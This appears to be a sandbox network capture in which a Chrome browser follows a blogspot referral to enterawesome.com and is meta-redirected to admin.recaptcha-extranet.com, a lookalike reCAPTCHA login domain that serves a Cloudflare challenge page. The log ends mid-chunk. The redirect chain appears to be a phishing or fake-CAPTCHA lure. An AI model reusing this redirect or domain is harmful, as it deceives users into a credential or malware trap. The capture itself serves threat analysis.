2025-01-09 04:14:04 UTC	697	OUT	GET /zse8l? HTTP/1.1 Host: enterawesome.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: document Referer: https://rinderynitvye.blogspot.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-09 04:14:04 UTC	252	IN	HTTP/1.1 404 Not Found Server: nginx Date: Thu, 09 Jan 2025 04:14:04 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 100 Connection: close Last-Modified: Wed, 08 Jan 2025 14:43:18 GMT ETag: "64-62b32e1e58e74" Accept-Ranges: bytes
2025-01-09 04:14:04 UTC	100	IN	Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 68 74 74 70 73 3a 2f 2f 61 64 6d 69 6e 2e 72 65 63 61 70 74 63 68 61 2d 65 78 74 72 61 6e 65 74 2e 63 6f 6d 2f 63 6f 6e 66 69 72 6d 2f 6c 6f 67 69 6e 2f 6d 46 74 51 42 48 41 76 22 3e 0a Data Ascii: <meta http-equiv="refresh" content="0;https://admin.recaptcha-extranet.com/confirm/login/mFtQBHAv">

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.17	49705	193.3.19.74	443	4300	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 04:14:04 UTC	594	OUT	GET /favicon.ico HTTP/1.1 Host: enterawesome.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://enterawesome.com/zse8l? Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-09 04:14:05 UTC	252	IN	HTTP/1.1 404 Not Found Server: nginx Date: Thu, 09 Jan 2025 04:14:04 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 100 Connection: close Last-Modified: Wed, 08 Jan 2025 14:43:18 GMT ETag: "64-62b32e1e58e74" Accept-Ranges: bytes
2025-01-09 04:14:05 UTC	100	IN	Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 68 74 74 70 73 3a 2f 2f 61 64 6d 69 6e 2e 72 65 63 61 70 74 63 68 61 2d 65 78 74 72 61 6e 65 74 2e 63 6f 6d 2f 63 6f 6e 66 69 72 6d 2f 6c 6f 67 69 6e 2f 6d 46 74 51 42 48 41 76 22 3e 0a Data Ascii: <meta http-equiv="refresh" content="0;https://admin.recaptcha-extranet.com/confirm/login/mFtQBHAv">

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.17	49709	188.114.97.3	443	4300	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 04:14:05 UTC	715	OUT	GET /confirm/login/mFtQBHAv HTTP/1.1 Host: admin.recaptcha-extranet.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: document Referer: https://enterawesome.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-09 04:14:05 UTC	1285	IN	HTTP/1.1 403 Forbidden Date: Thu, 09 Jan 2025 04:14:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Accept-CH: Sec-CH-UA-Bitness, Sec-CH-UA-Arch, Sec-CH-UA-Full-Version, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Platform, Sec-CH-UA, UA-Bitness, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform-Version, UA-Platform, UA Critical-CH: Sec-CH-UA-Bitness, Sec-CH-UA-Arch, Sec-CH-UA-Full-Version, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Platform, Sec-CH-UA, UA-Bitness, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform-Version, UA-Platform, UA Cross-Origin-Embedder-Policy: require-corp Cross-Origin-Opener-Policy: same-origin Cross-Origin-Resource-Policy: same-origin Origin-Agent-Cluster: ?1 Permissions-Policy: accelerometer=(),autoplay=(),browsing-topics=(),camera=(),clipboard-read=(),clipboard-write=(),geolocation=(),gyroscope=(),hid=(),interest-cohort=(),magnetometer=(),microphone=(),payment=(),publickey-credentials-get=(),screen-wake-lock=(),serial=(),sync-xhr=(),usb=() Referrer-Policy: same-origin X-Content-Options: nosniff X-Frame-Options: SAMEORIGIN cf-mitigated: challenge
2025-01-09 04:14:05 UTC	923	IN	Data Raw: 63 66 2d 63 68 6c 2d 6f 75 74 3a 20 46 48 45 2b 51 76 69 55 4e 55 65 58 6f 48 74 4e 57 32 43 72 4f 4c 53 65 78 78 34 42 56 4a 41 48 6c 68 46 56 4f 66 55 6f 43 6c 71 78 68 59 76 77 35 76 6b 39 6e 6d 78 72 4a 39 30 7a 56 48 6a 68 5a 6a 43 4d 30 4e 73 72 4a 64 44 32 39 37 32 71 76 49 34 4e 59 55 67 50 44 5a 37 4d 78 2f 52 31 79 32 30 71 4a 6e 4a 32 49 4c 51 3d 24 31 73 66 4d 62 35 35 69 48 30 49 45 31 69 4e 74 77 35 4f 37 2b 77 3d 3d 0d 0a 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 70 72 69 76 61 74 65 2c 20 6d 61 78 2d 61 67 65 3d 30 2c 20 6e 6f 2d 73 74 6f 72 65 2c 20 6e 6f 2d 63 61 63 68 65 2c 20 6d 75 73 74 2d 72 65 76 61 6c 69 64 61 74 65 2c 20 70 6f 73 74 2d 63 68 65 63 6b 3d 30 2c 20 70 72 65 2d 63 68 65 63 6b 3d 30 0d 0a 45 78 70 69 72 65 73 3a 20 Data Ascii: cf-chl-out: FHE+QviUNUeXoHtNW2CrOLSexx4BVJAHlhFVOfUoClqxhYvw5vk9nmxrJ90zVHjhZjCM0NsrJdD2972qvI4NYUgPDZ7Mx/R1y20qJnJ2ILQ=$1sfMb55iH0IE1iNtw5O7+w==Cache-Control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0Expires:
2025-01-09 04:14:05 UTC	1369	IN	Data Raw: 32 33 65 32 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 4a 75 73 74 20 61 20 6d 6f 6d 65 6e 74 2e 2e 2e 3c 2f 74 69 74 6c 65 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 45 64 67 65 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 2c 6e 6f 66 6f 6c 6c 6f 77 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d Data Ascii: 23e2<!DOCTYPE html><html lang="en-US"><head><title>Just a moment...</title><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><meta http-equiv="X-UA-Compatible" content="IE=Edge"><meta name="robots" content="noindex,nofollow"><meta name=
2025-01-09 04:14:05 UTC	1369	IN	Data Raw: 75 4d 7a 67 34 4c 6a 51 77 4e 79 34 7a 4f 44 6b 75 4e 44 41 33 4c 6a 6b 35 4e 43 41 77 49 43 34 31 4f 54 59 74 4c 6a 51 77 4e 79 34 35 4f 44 51 74 4c 6a 4d 35 4e 79 34 7a 4f 53 30 78 4c 6a 41 31 4e 79 34 7a 4f 44 6b 74 4c 6a 59 31 49 44 41 74 4d 53 34 77 4e 54 59 74 4c 6a 4d 34 4f 53 30 75 4d 7a 6b 34 4c 53 34 7a 4f 44 6b 74 4c 6a 4d 35 4f 43 30 75 4f 54 67 30 49 44 41 74 4c 6a 55 35 4e 79 34 7a 4f 54 67 74 4c 6a 6b 34 4e 53 34 30 4d 44 59 74 4c 6a 4d 35 4e 79 41 78 4c 6a 41 31 4e 69 30 75 4d 7a 6b 33 49 69 38 2b 50 43 39 7a 64 6d 63 2b 29 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 72 65 70 65 61 74 3a 6e 6f 2d 72 65 70 65 61 74 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 73 69 7a 65 3a 63 6f 6e 74 61 69 6e 3b 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 33 34 70 78 7d 40 6d Data Ascii: uMzg4LjQwNy4zODkuNDA3Ljk5NCAwIC41OTYtLjQwNy45ODQtLjM5Ny4zOS0xLjA1Ny4zODktLjY1IDAtMS4wNTYtLjM4OS0uMzk4LS4zODktLjM5OC0uOTg0IDAtLjU5Ny4zOTgtLjk4NS40MDYtLjM5NyAxLjA1Ni0uMzk3Ii8+PC9zdmc+);background-repeat:no-repeat;background-size:contain;padding-left:34px}@m
2025-01-09 04:14:05 UTC	1369	IN	Data Raw: 37 79 6a 72 64 5f 42 4b 58 54 35 52 42 33 5f 45 51 6d 5f 63 56 52 78 34 50 4a 4b 4b 64 5f 4c 6a 63 4d 4b 38 49 32 4e 6a 52 43 49 78 5a 66 74 54 4f 71 56 68 46 54 73 4a 59 55 57 6d 33 6c 75 78 49 41 38 57 71 71 74 33 67 70 41 6b 67 5f 44 30 6a 49 72 47 68 50 6a 79 5a 4c 76 45 67 66 76 71 5a 33 48 39 41 46 53 4c 47 59 59 64 64 4d 50 35 77 41 67 79 69 49 31 49 53 76 63 72 31 6f 4d 4e 76 53 38 49 4e 79 6b 6b 50 6a 59 6b 74 72 6b 4f 54 5f 65 41 2e 33 39 54 41 6d 4a 75 75 79 68 6f 4a 2e 79 63 54 70 64 73 37 55 6d 39 7a 68 4d 6c 79 70 6b 63 4a 66 52 71 4d 68 4d 76 64 36 75 62 4c 74 4c 72 62 48 5f 53 54 38 78 65 33 32 67 51 32 74 70 39 35 63 57 68 38 5f 57 62 4a 57 42 42 58 73 64 4c 50 61 4f 48 38 32 55 78 79 78 6e 78 33 2e 75 39 5a 43 44 58 41 6d 71 7a 67 31 47 Data Ascii: 7yjrd_BKXT5RB3_EQm_cVRx4PJKKd_LjcMK8I2NjRCIxZftTOqVhFTsJYUWm3luxIA8Wqqt3gpAkg_D0jIrGhPjyZLvEgfvqZ3H9AFSLGYYddMP5wAgyiI1ISvcr1oMNvS8INykkPjYktrkOT_eA.39TAmJuuyhoJ.ycTpds7Um9zhMlypkcJfRqMhMvd6ubLtLrbH_ST8xe32gQ2tp95cWh8_WbJWBBXsdLPaOH82Uxyxnx3.u9ZCDXAmqzg1G
2025-01-09 04:14:05 UTC	1369	IN	Data Raw: 48 5f 51 4e 34 33 5f 78 38 73 48 69 47 6f 68 79 6e 54 73 74 35 4c 75 49 48 37 33 44 76 43 2e 6b 78 5f 72 72 79 34 38 32 34 4f 61 66 6f 78 31 65 6c 2e 4b 41 4f 4b 34 7a 49 53 48 31 61 64 59 6c 53 58 36 61 72 75 4b 76 32 49 5a 50 51 31 71 36 6b 38 50 74 66 77 58 30 6a 4e 4b 57 71 52 71 6b 30 66 7a 53 4a 4b 35 2e 35 5a 44 31 7a 73 48 30 49 79 61 6f 66 63 4c 41 63 4d 6e 46 52 5f 7a 75 73 62 30 75 43 78 66 4a 70 54 5a 4c 75 71 68 54 68 4c 4c 72 66 4e 74 32 65 36 42 61 4f 62 74 33 44 4f 71 59 6d 6b 6b 71 50 4d 4a 32 43 44 46 4d 37 78 45 4a 55 4f 44 46 31 53 57 49 4c 35 63 51 74 47 62 5a 30 76 6d 54 6d 33 4a 4c 6c 51 37 65 54 62 79 4f 39 4a 53 71 58 2e 78 39 64 30 4f 33 6d 4b 78 63 6c 51 4a 57 32 6d 6f 63 41 53 50 42 64 75 51 62 54 79 59 62 66 49 41 6f 66 65 44 Data Ascii: H_QN43_x8sHiGohynTst5LuIH73DvC.kx_rry4824Oafox1el.KAOK4zISH1adYlSX6aruKv2IZPQ1q6k8PtfwX0jNKWqRqk0fzSJK5.5ZD1zsH0IyaofcLAcMnFR_zusb0uCxfJpTZLuqhThLLrfNt2e6BaObt3DOqYmkkqPMJ2CDFM7xEJUODF1SWIL5cQtGbZ0vmTm3JLlQ7eTbyO9JSqX.x9d0O3mKxclQJW2mocASPBduQbTyYbfIAofeD
2025-01-09 04:14:05 UTC	1369	IN	Data Raw: 33 4c 2e 33 5f 71 45 33 46 74 30 6b 4b 5a 6f 44 39 47 2e 41 58 4a 78 37 63 66 52 70 71 45 4f 6d 4b 75 71 51 72 62 52 56 4d 37 52 71 57 4c 38 4c 37 64 49 36 62 4c 59 58 57 30 6b 4a 4f 48 4f 56 36 4d 35 46 6a 6f 43 59 4c 59 70 45 52 45 78 6a 74 71 48 4e 58 50 54 68 77 39 64 53 41 75 6b 44 70 72 49 58 6c 5a 51 50 58 77 42 65 36 66 31 71 54 50 55 63 36 58 45 58 6b 6d 4e 43 61 75 53 6c 65 5a 77 48 38 77 71 54 65 34 6e 62 57 69 4d 64 62 4e 54 35 62 7a 51 4c 67 67 63 63 39 4d 78 79 53 61 61 33 52 71 46 49 4e 6d 59 52 76 6c 74 6b 42 76 52 57 67 58 33 69 50 67 4c 54 72 48 6c 73 75 52 61 46 4e 49 35 6d 71 68 6f 56 4d 51 39 6d 41 38 77 41 67 70 49 4f 7a 53 30 4c 4c 68 48 31 34 76 53 36 35 35 61 4f 69 51 36 76 32 47 62 47 63 68 6f 44 5a 32 49 6b 51 56 4a 43 43 70 6c Data Ascii: 3L.3_qE3Ft0kKZoD9G.AXJx7cfRpqEOmKuqQrbRVM7RqWL8L7dI6bLYXW0kJOHOV6M5FjoCYLYpERExjtqHNXPThw9dSAukDprIXlZQPXwBe6f1qTPUc6XEXkmNCauSleZwH8wqTe4nbWiMdbNT5bzQLggcc9MxySaa3RqFINmYRvltkBvRWgX3iPgLTrHlsuRaFNI5mqhoVMQ9mA8wAgpIOzS0LLhH14vS655aOiQ6v2GbGchoDZ2IkQVJCCpl
2025-01-09 04:14:05 UTC	1369	IN	Data Raw: 64 66 32 57 5a 72 77 67 41 57 31 38 58 6f 77 48 6d 64 48 52 47 41 70 6e 44 45 7a 4b 50 6a 5f 75 47 38 73 61 45 72 47 52 33 4e 56 46 57 2e 53 77 34 72 65 65 55 48 6c 33 33 2e 43 58 70 71 2e 4c 69 67 48 4d 53 62 30 38 65 74 48 6a 5a 58 4a 33 34 67 68 32 70 30 6c 47 75 42 68 50 72 2e 37 4d 6b 66 51 44 74 69 79 72 67 41 71 71 77 5f 6f 31 54 6e 34 2e 37 48 77 57 59 74 59 45 6f 51 47 6f 30 4f 5a 61 66 64 53 71 36 76 39 75 68 52 45 63 52 7a 41 49 42 48 7a 74 4f 52 64 57 50 7a 32 47 66 6e 53 6a 34 58 61 6b 6c 76 4a 73 70 7a 43 51 45 45 44 41 66 68 5a 72 73 42 53 43 5f 30 58 34 6c 45 4a 51 33 7a 4b 32 7a 4a 32 76 49 37 6e 31 44 2e 55 63 56 55 33 6b 34 74 5f 79 6d 72 51 6f 77 42 56 31 54 4f 2e 47 75 66 4c 55 69 63 66 37 6c 47 5f 50 44 75 55 4e 33 50 62 56 56 57 6c Data Ascii: df2WZrwgAW18XowHmdHRGApnDEzKPj_uG8saErGR3NVFW.Sw4reeUHl33.CXpq.LigHMSb08etHjZXJ34gh2p0lGuBhPr.7MkfQDtiyrgAqqw_o1Tn4.7HwWYtYEoQGo0OZafdSq6v9uhREcRzAIBHztORdWPz2GfnSj4XaklvJspzCQEEDAfhZrsBSC_0X4lEJQ3zK2zJ2vI7n1D.UcVU3k4t_ymrQowBV1TO.GufLUicf7lG_PDuUN3PbVVWl
2025-01-09 04:14:05 UTC	980	IN	Data Raw: 53 36 6c 38 71 45 31 53 62 59 39 33 47 56 74 53 64 52 79 43 71 67 30 32 73 70 63 5a 38 32 34 6a 6b 4a 4d 48 38 54 7a 36 6d 6a 46 22 7d 3b 76 61 72 20 63 70 6f 20 3d 20 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 27 73 63 72 69 70 74 27 29 3b 63 70 6f 2e 73 72 63 20 3d 20 27 2f 63 64 6e 2d 63 67 69 2f 63 68 61 6c 6c 65 6e 67 65 2d 70 6c 61 74 66 6f 72 6d 2f 68 2f 67 2f 6f 72 63 68 65 73 74 72 61 74 65 2f 63 68 6c 5f 70 61 67 65 2f 76 31 3f 72 61 79 3d 38 66 66 31 39 39 33 36 64 38 31 35 31 38 36 35 27 3b 77 69 6e 64 6f 77 2e 5f 63 66 5f 63 68 6c 5f 6f 70 74 2e 63 4f 67 55 48 61 73 68 20 3d 20 6c 6f 63 61 74 69 6f 6e 2e 68 61 73 68 20 3d 3d 3d 20 27 27 20 26 26 20 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 2e 69 6e 64 65 78 4f 66 28 27 Data Ascii: S6l8qE1SbY93GVtSdRyCqg02spcZ824jkJMH8Tz6mjF"};var cpo = document.createElement('script');cpo.src = '/cdn-cgi/challenge-platform/h/g/orchestrate/chl_page/v1?ray=8ff19936d8151865';window._cf_chl_opt.cOgUHash = location.hash === '' && location.href.indexOf('
2025-01-09 04:14:05 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.17	49710	188.114.97.3	443	4300	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 04:14:05 UTC	987	OUT	GET /confirm/login/mFtQBHAv HTTP/1.1 Host: admin.recaptcha-extranet.com Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-full-version: "117.0.5938.149" sec-ch-ua-arch: "x86" sec-ch-ua-platform: "Windows" sec-ch-ua-platform-version: "10.0.0" sec-ch-ua-model: "" sec-ch-ua-bitness: "64" sec-ch-ua-full-version-list: "Google Chrome";v="117.0.5938.149", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.149" Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: document Referer: https://enterawesome.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-09 04:14:06 UTC	1285	IN	HTTP/1.1 403 Forbidden Date: Thu, 09 Jan 2025 04:14:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Accept-CH: Sec-CH-UA-Bitness, Sec-CH-UA-Arch, Sec-CH-UA-Full-Version, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Platform, Sec-CH-UA, UA-Bitness, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform-Version, UA-Platform, UA Critical-CH: Sec-CH-UA-Bitness, Sec-CH-UA-Arch, Sec-CH-UA-Full-Version, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Platform, Sec-CH-UA, UA-Bitness, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform-Version, UA-Platform, UA Cross-Origin-Embedder-Policy: require-corp Cross-Origin-Opener-Policy: same-origin Cross-Origin-Resource-Policy: same-origin Origin-Agent-Cluster: ?1 Permissions-Policy: accelerometer=(),autoplay=(),browsing-topics=(),camera=(),clipboard-read=(),clipboard-write=(),geolocation=(),gyroscope=(),hid=(),interest-cohort=(),magnetometer=(),microphone=(),payment=(),publickey-credentials-get=(),screen-wake-lock=(),serial=(),sync-xhr=(),usb=() Referrer-Policy: same-origin X-Content-Options: nosniff X-Frame-Options: SAMEORIGIN cf-mitigated: challenge
2025-01-09 04:14:06 UTC	921	IN	Data Raw: 63 66 2d 63 68 6c 2d 6f 75 74 3a 20 36 58 4b 6c 30 30 2f 79 72 72 4d 65 72 62 34 42 79 75 42 64 75 2f 2b 66 65 51 37 6d 36 76 44 41 38 58 35 78 36 53 42 67 47 36 69 46 70 59 43 75 31 47 77 71 38 58 61 4b 79 71 64 54 34 38 52 61 46 34 31 48 68 41 32 74 32 71 45 34 2f 68 42 51 59 68 70 68 4d 7a 66 33 79 58 67 6d 57 78 65 53 44 53 6a 62 69 36 30 58 55 78 6b 3d 24 57 39 45 55 79 77 37 34 37 52 67 71 37 7a 35 66 54 66 54 4a 61 77 3d 3d 0d 0a 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 70 72 69 76 61 74 65 2c 20 6d 61 78 2d 61 67 65 3d 30 2c 20 6e 6f 2d 73 74 6f 72 65 2c 20 6e 6f 2d 63 61 63 68 65 2c 20 6d 75 73 74 2d 72 65 76 61 6c 69 64 61 74 65 2c 20 70 6f 73 74 2d 63 68 65 63 6b 3d 30 2c 20 70 72 65 2d 63 68 65 63 6b 3d 30 0d 0a 45 78 70 69 72 65 73 3a 20 Data Ascii: cf-chl-out: 6XKl00/yrrMerb4ByuBdu/+feQ7m6vDA8X5x6SBgG6iFpYCu1Gwq8XaKyqdT48RaF41HhA2t2qE4/hBQYhphMzf3yXgmWxeSDSjbi60XUxk=$W9EUyw747Rgq7z5fTfTJaw==Cache-Control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0Expires:
2025-01-09 04:14:06 UTC	532	IN	Data Raw: 32 34 36 32 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 4a 75 73 74 20 61 20 6d 6f 6d 65 6e 74 2e 2e 2e 3c 2f 74 69 74 6c 65 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 45 64 67 65 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 2c 6e 6f 66 6f 6c 6c 6f 77 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d Data Ascii: 2462<!DOCTYPE html><html lang="en-US"><head><title>Just a moment...</title><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><meta http-equiv="X-UA-Compatible" content="IE=Edge"><meta name="robots" content="noindex,nofollow"><meta name=
2025-01-09 04:14:06 UTC	1369	IN	Data Raw: 73 2d 73 65 72 69 66 2c 41 70 70 6c 65 20 43 6f 6c 6f 72 20 45 6d 6f 6a 69 2c 53 65 67 6f 65 20 55 49 20 45 6d 6f 6a 69 2c 53 65 67 6f 65 20 55 49 20 53 79 6d 62 6f 6c 2c 4e 6f 74 6f 20 43 6f 6c 6f 72 20 45 6d 6f 6a 69 7d 62 6f 64 79 7b 64 69 73 70 6c 61 79 3a 66 6c 65 78 3b 66 6c 65 78 2d 64 69 72 65 63 74 69 6f 6e 3a 63 6f 6c 75 6d 6e 3b 68 65 69 67 68 74 3a 31 30 30 76 68 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 30 30 76 68 7d 2e 6d 61 69 6e 2d 63 6f 6e 74 65 6e 74 7b 6d 61 72 67 69 6e 3a 38 72 65 6d 20 61 75 74 6f 3b 6d 61 78 2d 77 69 64 74 68 3a 36 30 72 65 6d 3b 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 31 2e 35 72 65 6d 7d 40 6d 65 64 69 61 20 28 77 69 64 74 68 20 3c 3d 20 37 32 30 70 78 29 7b 2e 6d 61 69 6e 2d 63 6f 6e 74 65 6e 74 7b 6d 61 72 67 69 6e Data Ascii: s-serif,Apple Color Emoji,Segoe UI Emoji,Segoe UI Symbol,Noto Color Emoji}body{display:flex;flex-direction:column;height:100vh;min-height:100vh}.main-content{margin:8rem auto;max-width:60rem;padding-left:1.5rem}@media (width <= 720px){.main-content{margin
2025-01-09 04:14:06 UTC	1369	IN	Data Raw: 6c 65 20 4a 61 76 61 53 63 72 69 70 74 20 61 6e 64 20 63 6f 6f 6b 69 65 73 20 74 6f 20 63 6f 6e 74 69 6e 75 65 3c 2f 73 70 61 6e 3e 3c 2f 64 69 76 3e 3c 2f 6e 6f 73 63 72 69 70 74 3e 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 73 63 72 69 70 74 3e 28 66 75 6e 63 74 69 6f 6e 28 29 7b 77 69 6e 64 6f 77 2e 5f 63 66 5f 63 68 6c 5f 6f 70 74 3d 7b 63 76 49 64 3a 20 27 33 27 2c 63 5a 6f 6e 65 3a 20 22 61 64 6d 69 6e 2e 72 65 63 61 70 74 63 68 61 2d 65 78 74 72 61 6e 65 74 2e 63 6f 6d 22 2c 63 54 79 70 65 3a 20 27 6d 61 6e 61 67 65 64 27 2c 63 52 61 79 3a 20 27 38 66 66 31 39 39 33 37 38 39 35 35 35 65 36 61 27 2c 63 48 3a 20 27 78 34 68 43 44 2e 71 4a 50 35 71 78 50 64 70 64 4f 70 67 66 50 6b 4d 65 67 49 6d 4b 47 53 76 47 6c 2e 48 6c 33 74 38 38 61 67 4d 2d 31 37 33 Data Ascii: le JavaScript and cookies to continue</span></div></noscript></div></div><script>(function(){window._cf_chl_opt={cvId: '3',cZone: "admin.recaptcha-extranet.com",cType: 'managed',cRay: '8ff1993789555e6a',cH: 'x4hCD.qJP5qxPdpdOpgfPkMegImKGSvGl.Hl3t88agM-173
2025-01-09 04:14:06 UTC	1369	IN	Data Raw: 37 39 73 55 71 71 76 42 72 62 55 30 56 57 75 6f 67 66 67 5a 57 30 30 6f 69 33 51 33 30 61 62 38 56 6d 6b 5a 38 6a 39 52 78 58 50 71 4e 33 77 6e 38 58 73 6b 48 37 41 61 35 73 67 61 35 42 55 6e 48 68 37 42 6a 76 4b 64 65 4e 4c 54 36 6d 4e 44 67 35 36 76 35 37 78 4c 64 2e 76 65 51 6a 43 65 5f 6c 74 45 6a 6a 75 35 76 57 6c 41 38 4e 66 37 57 78 76 4e 55 75 35 42 55 71 45 5f 31 4c 74 34 5f 5f 54 69 69 44 6c 66 6d 79 41 74 56 31 72 79 59 5a 4c 58 52 75 62 64 37 76 73 46 4b 77 6a 75 51 5f 4f 42 63 47 61 78 53 45 56 76 6c 54 57 73 79 77 4c 4b 66 6d 45 6f 6e 36 62 41 71 4f 75 46 69 54 73 73 4e 46 31 46 63 78 59 76 70 2e 51 44 63 55 58 31 70 30 6e 47 6d 76 4b 52 75 57 70 2e 42 31 33 50 53 75 33 4e 4c 4e 62 7a 41 68 55 45 75 2e 51 46 62 52 58 62 6c 57 53 4f 54 42 70 Data Ascii: 